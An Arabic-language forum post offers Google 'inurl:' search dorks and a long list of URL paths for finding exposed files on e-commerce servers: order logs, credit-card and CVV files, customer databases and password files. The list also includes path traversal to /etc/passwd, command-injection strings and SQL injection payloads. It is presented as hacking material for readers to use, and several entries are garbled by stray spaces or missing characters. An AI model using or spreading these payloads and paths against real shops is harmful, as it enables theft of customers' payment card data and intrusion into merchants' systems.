ثغره MyCart Discloses Settings للشوبنج ادمن

[Admin]

بسم الله الرحمن الرحيم





عـــــــدنـــا وبقــــوة

جبتلكم اعازات لتسهل عليكم البحث في الجوجل ونشاء الله تعجبكن وهيه عبارة عن ايعازات للمواقع للبحث السريع ومن ضمنها ثغرات ايضا

inurlhopping.mdb

inurl:cart/cart.asp

inurl:/productcart

inurl:vti_inf.html

inurlervice.pwd

inurl:users.pwd

inurl:authors.pwd

inurl:administrators.pwd

inurlhtml.dll

inurlhtml.exe

inurl:fpcount.exe

inurlefault.asp

inurlhowcode.asp

inurlendmail.cfm

inurl:getFile.cfm

inurl:imagemap.exe

inurl:test.bat

inurl:msadcs.dll

inurl:htimage.exe

inurl:counter.exe

inurl:browser.inc

inurl:hello.bat

inurlefault.asp\

inurlvwssr.dll

inurl:cart32.exe

inurl:add.exe

inurl:index.jsp

inurl:SessionServlet

inurl:glimpse

inurl:man.sh

inurl:AT-admin.cgi

inurl:AT-generate.cgi



هذي هية ارجو الاستفاده منها والي يستفاد منها لا يبخل علينه بمعلوماته



وهذي ايضا ثغرات وايعازات كثيرة

/store/log_files/your_order.log

/cgi-bin/DCShop/Orders/orders.txt

/vpasp/shopdbtest.asp

/orders/checks.txt

/WebShop/logs

/ccbill/secure/ccbill.log

/scripts/cart32.exe

/cvv2.txt

/cart/shopdbtest.asp

/cgi-win/cart.pl

/shopdbtest.asp

/WebShop/logs/cc.txt

/cgi-local/cart.pl

/PDG_Cart/order.log

/config/datasources/expire.mdb

/cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml

/orders/orders.txt

/cgis/cart.pl

/webcart/carts

/cgi-bin/cart32.exe/cart32clientlist

/cgi/cart.pl

/comersus/database/comersus.mdb

/WebShop/templates/cc.txt

/Admin_files/order.log

/orders/mountain.cfg

/cgi-sys/cart.pl

/scripts/cart.pl

/htbin/cart.pl

/productcart/database/EIPC.mdb

/shoponline/fpdb/shop.mdb

/config/datasources/myorder.mdb

/PDG_Cart/shopper.conf

/shopping/database/****cart.mdb

/bin/cart.pl

/cgi-bin/cart32.ini

/database/comersus.mdb

/cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt

/cgi-bin/store/Admin_files/myorderlog.txt

/cgi-bin/orders.txt

/cgi-bin/store/Admin_files/your_order.log

/test/test.txt

/fpdb/shop.mdb

/cgibin/shop/orders/orders.txt

/shopadmin1.asp

/cgi-bin/shop.cgi

/cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi

/cgi-bin/PDG_cart/card.txt

/shopper.cgi?preadd=action&key=PROFA&template=order 1.log

/store/shopdbtest.asp

/log_files/your_order.log

/_database/expire.mdb

/HyperStat/stat_what.log

/cgibin/DCShop/auth_data/auth_user_file.txt

/htbin/orders/orders.txt

/SHOP/shopadmin.asp

/index.cgi?page=../admin/files/order.log

/vpshop/shopadmin.asp

/webcart/config

/PDG/order.txt

/cgi-bin/shopper.cgi

/orders/order.log

/orders/db/zzzbizorders.log.html

/easylog/easylog.html

/cgi-bin/store/Log_files/your_order.log

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=sh opping400.mdb

/comersus_message.asp?

/orders/import.txt

/htbin/DCShop/auth_data/auth_user_file.txt

/admin/html_lib.pl

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=my order.txt

/cgi-bin/DCShop/auth_data/auth_user_file.txt

/cgi-bin/shop.pl/page=;cat%20shop.pl

/cgi-bin/shopper?search=action&keywords=dhenzuser%20&templa te=order.log

/HBill/htpasswd

/bin/shop/auth_data/auth_user_file.txt

/cgi-bin/cs/shopdbtest.asp

/mysql/shopping.mdb

/Catalog/config/datasources/Products.mdb

/trafficlog

/cgi/orders/orders.txt

/cgi-local/PDG_Cart/shopper.conf

/store/cgi-bin/Admin_files/expire.mdb

/derbyteccgi/shopper.cgi?key=SC7021&preadd=action&template=orde r.log

/derbyteccgi/shopper.cgi?search=action&keywords=moron&template= order.log

/cgi-bin/mc.txt

/cgi-bin/mall2000.cgi

/cgi-win/DCShop/auth_data/auth_user_file.txt

/cgi-bin/shopper.cgi?search=action&keywords=root%20&templat e=order.log

/store/commerce.cgi

/scripts/shop/orders/orders.txt

/product/shopping350.mdb

/super_stats/access_logs

/cgi-local/orders/orders.txt

/cgi-bin/PDG_Cart/mc.txt

/cgibin/cart32.exe

/cgi-bin/Shopper.exe?search=action&keywords=psiber%20&templ ate=other/risinglogorder.log

/cgibin/password.txt

/Catalog/cart/carttrial.dat

/catalog/Admin/Admin.asp

/ecommerce/admin/user/admin.asp

/data/productcart/database/EIPC.mdb

/store/admin_files/commerce_user_lib.pl

/cgi-bin/store/index.cgi

/paynet.txt

/config/datasources/store/billing.mdb

/_database/shopping350.mdb

/cgi-bin/shopper.exe?search

/cgi/shop.pl/page=;cat%20shop.pl

/cgi-bin/store/Admin_files/orders.txt

/cgi-bin/store/commerce_user_lib.pl

/cgi-sys/pagelog.cgi

/cgi-sys/shop.pl/page=;cat%20shop.pl

/scripts/weblog

/fpdb/shopping400.mdb

/htbin/shop/orders/orders.txt

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=my order.log

/cgi-bin/shopper.exe?search=action&keywords=psiber&template =order.log

/mall_log_files/

/cgi-bin/perlshop.cgi

/tienda/shopdbtest.asp

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=sh opping.mdb

/cgi-bin/shopper.cgi?search=action&keywords=whinhall&templa te=order.log

/WebShop/logs/ck.log

/fpdb/shopping300.mdb

/mysql/store.mdb

/cgi-bin/store/Admin_files/commerce_user_lib.pl

/config.dat

/order/order.log

/commerce_user_lib.pl

/Admin_files/AuthorizeNet_user_lib.pl

/cvv2.asp

/cgi-bin/cart32/CART32-order.txt

/wwwlog

/cool-logs/mlog.html

/cgi-bin/pass/merchant.cgi.log

/cgi-local/pagelog.cgi

/cgi-bin/pagelog.cgi

/cgi-bin/orders/cc.txt

/cgis/shop/orders/orders.txt

/admin/admin_conf.pl

/cgi-bin/pdg_cart/order.log

/cgi/PDG_Cart/order.log

/Admin_files/ccelog.txt

/cgi-bin/orders/mc.txt

/cgi/cart32.exe

/ecommerce/admin/admin.asp

/scripts/DCShop/auth_data/auth_user_file.txt

/Catalog/config/datasources/Expire.mdb

/ecommerce/admin/shopdbtest.asp

/mysql/mystore.mdb

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=sh opping.asp

/cgi-bin/commercesql/index.cgi?page=../admin/files/order.log

/cgi-bin/Count.cgi?df=callcard.dat

/logfiles/

/shopping/shopping350.mdb

/admin/configuration.pl

/cgis/DCShop/auth_data/auth_user_file.txt

/cgis/cart32.exe

/cgi-bin/dcshop.cgi

/cgi-win/shop/auth_data/auth_user_file.txt

/shopping400.mdb

/HBill/config

/cgi-bin/shop/index.cgi?page=../admin/files/order.log

/search=action&keywords=GSD%20&template=order.log

/WebCart/orders.txt

/PDG_Cart/authorizenets.txt

/cgi-bin/AnyForm2

/~gcw/cgi-bin/Count.cgi?df=callcard.dat

/cgi-bin/PDG_Cart/order.log

/expire.mdb

/logger/

/webcart-lite/orders/import.txt

/cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl

/cgi-bin/PDG_Cart/shopper.conf

/cgi-bin/cart32.exe

/dc/orders/orders.txt

/cgi-local/DCShop/orders/orders.txt

/shop.pl/page=shop.cfg

/cgi-local/cart32.exe

/cgi-win/pagelog.cgi

/cgi-win/shop/orders/orders.txt

/cgibin/shopper.cgi?search=action&keywords=moron&template= order.csv

/cgi-sys/DCShop/auth_data/auth_user_file.txt

/cgi-bin/www-sql;;;

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=or der.log

/scripts/orders/orders.txt

/cgi-local/shop.pl/shop.cfg

/search=action&keywords=cwtb%20&template=expire.mdb

/php/mylog.phtml

/config/datasources/shopping.mdb

/php-coolfile/action.php?action=edit&file=config.php

/cgi-bin/ezmall2000/mall2000.cgi

/cgi/DCShop/orders/orders.txt

/cgi-local/shop.pl

/cgis/DCShop/orders/orders.txt

/product/shopdbtest.asp

/ASP/cart/database/****cart.mdb

/cgi-bin/cgi-lib.pl

/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html

/search=action&keywords=cwtb%20&template=order.log

/mysql/expire.mdb

/scripts/shop/auth_data/auth_user_file.txt

/cgi-bin/cart32/whatever-OUTPUT.txt

/Shopping%20Cart/shopdbtest.asp

/cgi/shop/auth_data/auth_user_file.txt

/shop/shopping350.mdb

/cgi-bin/store/Authorize_Net.pl

/scripts/DCShop/orders/orders.txt

/store/log_files/commerce_user_lib.pl

/shopping/shopadmin.asp

/cgi-bin/orderlog.txt

/cgi-bin/webcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;c at%20../../webcart/system/orders/orders.txt|&CODE=PHOLD;;;

/cool-logs/mylog.html

/cgibin/shop.pl/page=;cat%20shop.pl

/htbin/shop.pl/page=;cat%20shop.pl

/cgi-win/orders/orders.txt

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=or der1.txt

/SHOP/shopdbtest.asp

/cgi/pagelog.cgi

/php/mlog.phtml

/cgi-bin/shop/apdproducts.mdb

/htbin/shop/auth_data/auth_user_file.txt

/server%20logfile;;;

/database/****cart.mdb

/cgi-local/shop/orders/orders.txt

/dcshop/auth_data/auth_user_file.txt

/log/

/cgi-bin/shop.cgi/page=../../../../etc/hosts

/scripts/c32web.exe

/cgis/orders/orders.txt

/logfile/

/shop_db/shopping.mdb

/shopping.mdb

/weblog/

/config/datasources/cvv2.mdb

/cgi-bin/loadpage.cgi?user_id=id&file=data/db.txtcgi-bin/PDG_Cart/order.log

/cgi-sys/shop/orders/orders.txt

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=or der1.log

/cgi-win/cart32.exe

/cgi-bin/loadpage.cgi

/dcshop/orders/orders.txt

/shop/show.php?q='

/cgibin/orders/orders.txt

/bin/pagelog.cgi

/cgi-bin/shop/orders/orders.txt

/_database/shopdbtest.asp

/cgibin/pagelog.cgi

/cgi-local/shop.pl/page=;cat%20shop.pl

/shop/search.php?q='

/cgi-sys/cart32.exe

/order13.txt

/weblogs/

/orderb/shop.mdb

/config/datasources/order.mdb

/store/cgi-bin/Admin_files/Store_user_lib.pl

/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt;CC

/Orders/order.log

/logs/access_log

/config/datasources/your_order.mdb

/ecommerce/admin/admin/admin.asp

/mall_log_files/order.log

/bin/cart32.exe

/htbin/DCShop/orders/orders.txt

/Admin_files/Authorize_Net.pl

/logging/

/database/

/cgi-sys/shop/auth_data/auth_user_file.txt

/bin/shop.pl/page=;cat%20shop.pl

/cgi-local/shop/auth_data/auth_user_file.txt

/cgi-local/DCShop/auth_data/auth_user_file.txt

/cgi-bin/shop/auth_data/auth_user_file.txt

/cgi-win/DCShop/orders/orders.txt

/store/Admin_files/Authorize_Net.pl

/cart/cart.asp

/bin/DCShop/orders/orders.txt

/scripts/pagelog.cgi

/cgi-bin/%20shopper.cgi?preadd=action&key=PROFA&template=ex pire.mdb

/webcart/config/clients.txt

/dc/auth_data/auth_user_file.txt

/cgi-bin/shopper.exe?preadd=action&key=9461&template=order. log

/cgi-bin/shopper/cheddar/loadpage.cgi?user_id=id&file=data/db.txt

/bin/orders/orders.txt

/cgi-bin/Web_Store/web_store.cgi

/cgis/pagelog.cgi

/cgi-bin/orders/orders.txt

/merchant/shopdbtest.asp

/cgi-local/shop.pl/page=shop.cfg

/cgis/shop.pl/page=;cat%20shop.pl

/index.cgi?%20pagine%20=%20../../../../../../../../etc/passwd

/cg-bin/

/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG

/cgi-bin/DCShop/Auth_data/auth_user_file.txt

/ecommerce/admin/admin****/admin.asp

/webcart/orders/import.txt

/cgibin/shop/auth_data/auth_user_file.txt

/productcart/database/eipc.mdb

/mysql/cheersoundchdb.mdb

/cgi-bin/order.txt

/scripts/iisadmin/tools/mkilog.exe

/ProductCart/database/EIPC.mdb

/databases/

/cgi-sys/orders/orders.txt

/cgi/DCShop/auth_data/auth_user_file.txt

/database/EIPC.mdb

//cgi-bin/orders.txt

/vpasp-shopcart/shopdbtest.asp

/cgi-bin/shopper.exe?preadd=action&key=bajk390ss&template=o rder.log

/cgi-bin/DCShop/orders/orders.txt

/mysql/shopping350.mdb

/_database/shopping.mdb

/htbin/cart32.exe

/PDG_Cart/shopper.config

/cgis/shop/auth_data/auth_user_file.txt

/shop/SHOPDBTEST.ASP

/bin/shop/orders/orders.txt

//cgi-local/medstore/loadpage.cgi?user_id=id&file=data/orders.txt

/cgi-bin/store/dcshop_admin.cgi

/_database/shopping400.mdb

/scripts/shop.pl/page=;cat%20shop.pl

/cgibin/PDG_Cart/shopper.conf

/cgibin/DCShop/orders/orders.txt

/cgibin/%20awstats.pl?output=keywords

/cgi/shop/orders/orders.txt

/cgi-bin/cart32_old.exe

/webshop/templates/cc.txt

/webcart/orders

/productcart/database/shop.mdb

/index.php?link=order

/cgi-bin/store/index.cgi?page=../../../../../../../../etc/passwd

/shopping/shopdisplayproducts.asp?

/ccbill-local.cgi

/bin/DCShop/auth_data/auth_user_file.txt

/cgi-bin/c32web.exe/CheckError?error=53

/server/admin_files/commerce_user_lib.pl

/shopping/shopdisplayproducts.asp?id=1&cat=order.log

/mail.cgi

/cgibin/admin_files/

/cgi-bin/mail/form.cgi

/cgibin/shopping/database/****cart.mdb

/globill/ver12otellog.txt

/cgi-bin/shopping.mdb

/shopping%20.mdb

/cgi-bin/mail.cgi

/cgi-bin/FORM.cgi

/cgibin/shop/database/****cart.mdb

/mail/form.cgi

/cgibin/shop/shopping350.mdb

/form.cgi

/shopping/cgi-bin/cart32.ini

/index.cgi?page=../../../../../../../../etc/passwd

/cgi-bin/c32web.exe/ShowProgress

/vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20sele ct%20fldauto

/cgibin/orders.txt

/cgibin/scripts/shop/shopping350.mdb

/form/mail.cgi

/cgi-bin/store1b/index.cgi?page=../../../../../../../../etc/passwd

/webshop/logs/cc.txt

/form/form.cgi

/store/index.cgi?page=../../../../../../../../etc/passwd

/cgibin/awstats.pl%3Flang%3Dit%26output%3Durldetail

/cgibin/%20awstats.pl?

/cgi-bin/Form.cgi

/vpasp/shopdisplayproducts.asp?cat=admin'%20and%20fldpass word%0li%20ke%20'a%25

/admin.mdb

/cgi-bin/cart32.exe/error

/cgi/mail.cgi

/cgi-bin/c32web.exe/ShowAdminDir

/cgi-bin/csql/index.cgi?page=../admin/files/order.log

/cgi-bin/admin_files/

/cgi-bin/csql/index.cgi?page=../../../../../../../../etc/passwd

/admins.asp

/cgi-bin/cart_top

/cgi-bin/mail/mail.cgi

/shopadmin.asp

/cgi-bin/order.log

/mailform.pl

/cgibin/admin.pl

/vpasp/shopdisplayproducts.asp?

/policies1.htm

/cgi-bin/c32web_old.exe

/cgi-bin/c32web.exe

/cgi-bin/form/form.cgi

/cgibin/****cart.mdb

/shopdisplayproducts.asp

/cgi-sys/DCShop/orders/orders.txt

/ccbill6/secure/

/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=3124&STRMVER=4&CAPREQ= 0

/cgi-bin/ibill.log

/ccbill6/

/password.txt

/cgi-bin/PDG_cart/card

/cgibin/www.google.com

/honeymoonhideaway.htm+honeymoon+charleston

/cgibin/awstats.pl%3Flang

وشكرا لكم